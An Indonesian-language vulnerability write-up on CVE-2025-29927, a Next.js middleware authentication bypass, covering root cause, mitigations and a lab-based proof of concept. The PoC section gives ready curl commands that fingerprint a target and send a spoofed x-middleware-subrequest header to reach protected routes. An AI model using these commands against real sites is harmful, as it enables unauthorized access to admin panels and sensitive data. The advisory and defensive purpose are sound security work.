August 12, 2026
CVE-2025–29927 : Next.js Middleware Bypass Vulnerability
1. Ringkasan Eksekutif
By Arya Utomo
2 min read
1. Ringkasan Eksekutif
CVE-2025–29927 adalah kerentanan pada Next.js yang memungkinkan penyerang melewati (bypass) seluruh logic middleware termasuk autentikasi, validasi session, dan access control hanya dengan menambahkan satu HTTP header khusus ke dalam request. Tidak diperlukan kredensial, token sesi, maupun brute force. Setiap aplikasi Next.js App Router yang mengandalkan middleware sebagai lapisan proteksi utama berpotensi terdampak.
Dampak
- Bypass autentikasi menyeluruh ke halaman/route yang seharusnya terproteksi
- Akses tidak sah ke data sensitif (dashboard, panel admin, API internal)
- Berpotensi menjadi titik masuk awal (initial access) untuk eskalasi serangan lanjutan
2. Prasyarat & Cakupan Kerentanan
Mode aplikasi : Hanya berlaku pada production build (npm run build && npm start)
Router :Khusus App Router (Next.js 13+, default sejak versi 14)
Mekanisme proteksi : Aplikasi yang menggunakan
middleware.ts/middleware.js untuk autentikasi/otorisasi
Struktur project : Path header berbeda tergantung apakah middleware.ts berada di root atau di dalam folder /src
3. Root Cause Analysis
Next.js menggunakan header internal x-middleware-subrequest sebagai mekanisme pencegahan infinite loop. Header ini secara normal dilampirkan secara internal oleh Next.js sendiri ketika middleware memanggil dirinya secara rekursif (misalnya saat forward request ke route lain), sehingga Next.js tahu untuk tidak menjalankan middleware lagi pada request hasil forward tersebut.
Kelemahan intinya Next.js tidak pernah memvalidasi asal header ini apakah benar-benar berasal dari proses internal framework, atau disisipkan oleh client eksternal. Akibatnya, siapa pun yang menyertakan header ini secara manual pada request-nya akan diperlakukan sama seperti subrequest internal, sehingga middleware (termasuk seluruh authentication check di dalamnya) dilewati sepenuhnya.
4. PoC (Proof of Concept)
Tahap 1: Fingerprinting Pasif (Identifikasi Teknologi)
Tujuan: memastikan target menjalankan Next.js dengan App Router sebelum mencoba exploit.
curl http://TARGET_IP:PORT/curl http://TARGET_IP:PORT/Perhatikan indikator berikut pada respons:
Header X-Powered-By : Next.js
window.__next_f di HTML body : self.__next_f.push([...])
Static asset path : /_next/static/chunks/
Header middleware : x-middleware-next, x-middleware-rewrite
Redirect ke halaman login : HTTP 307 (tes endpoint yg dilindungi seperti admin)
Tahap 2: Verifikasi Middleware Aktif
Identifikasi route yang diproteksi (contoh: /dashboard, /admin) dan konfirmasi middleware bekerja normal:
curl -v http://TARGET_IP:PORT/dashboardcurl -v http://TARGET_IP:PORT/dashboardHasil yang diharapkan (indikasi rentan/berpotensi):
< HTTP/1.1 307 Temporary Redirect
< location: /login< HTTP/1.1 307 Temporary Redirect
< location: /loginIni menunjukkan middleware aktif melakukan access control target adalah kandidat yang relevan untuk pengujian CVE-2025–29927.
Tahap 3: Eksploitasi Bypass Middleware
Sisipkan header x-middleware-subrequest dengan nilai path module middleware, diulang 5 kali:
Jika middleware.ts berada di root project:
curl -v -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
http://TARGET_IP:PORT/dashboardcurl -v -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
http://TARGET_IP:PORT/dashboardJika project menggunakan struktur folder /src:
curl -v -H "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware" \
http://TARGET_IP:PORT/dashboardcurl -v -H "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware" \
http://TARGET_IP:PORT/dashboardTahap 4: Validasi Eksploitasi Berhasil
Bandingkan hasil sebelum dan sesudah payload dikirim:
Tanpa header (normal) : Redirect ke /login
Dengan header x-middleware-subrequest: Konten halaman terproteksi berhasil diakses (bypass autentikasi)
Contoh output berhasil (isi halaman sebelumnya terproteksi dapat diakses langsung):
HTTP/1.1 200 OK
...
<konten dashboard yang seharusnya memerlukan autentikasi>HTTP/1.1 200 OK
...
<konten dashboard yang seharusnya memerlukan autentikasi>5. Rekomendasi Mitigasi
- Upgrade Next.js ke versi yang sudah memiliki patch resmi untuk CVE-2025–29927
- Jika upgrade tidak dapat dilakukan segera, terapkan filtering header
x-middleware-subrequestdi level reverse proxy/WAF untuk request yang datang dari luar - Jangan mengandalkan middleware sebagai satu-satunya lapisan autentikasi terapkan validasi autentikasi ulang di level server component/API route (defense in depth)
- Audit seluruh aplikasi internal yang menggunakan Next.js App Router untuk memastikan tidak ada dependency pada middleware-only authentication
- Implementasikan rule deteksi IOC di atas pada WAF/SIEM yang sudah berjalan
6. Catatan Tambahan
- CVE ini berkaitan erat secara temporal dengan CVE-2025–55182 (unauthenticated RCE via insecure deserialization pada RSC Flight protocol, CVSS 10.0) yang dieksploitasi dalam gelombang serangan yang sama oleh threat actor tertentu. Direkomendasikan audit kedua CVE secara bersamaan pada environment yang menjalankan Next.js.
- Prasyarat penting: kerentanan ini tidak termanifestasi pada development mode (
next dev). Pastikan environment yang diaudit benar-benar berjalan dalam production build mode sebelum menyimpulkan status kerentanan. - Dokumen ini disusun berdasarkan pengujian pada environment lab terkontrol (isolated lab environment)
7. Referensi
- CVE-2025–29927 — Next.js Middleware Authorization Bypass
- CVE-2025–55182 — Next.js RSC Flight Protocol Insecure Deserialization (RCE)
- https://tryhackme.com/room/modernwebstacks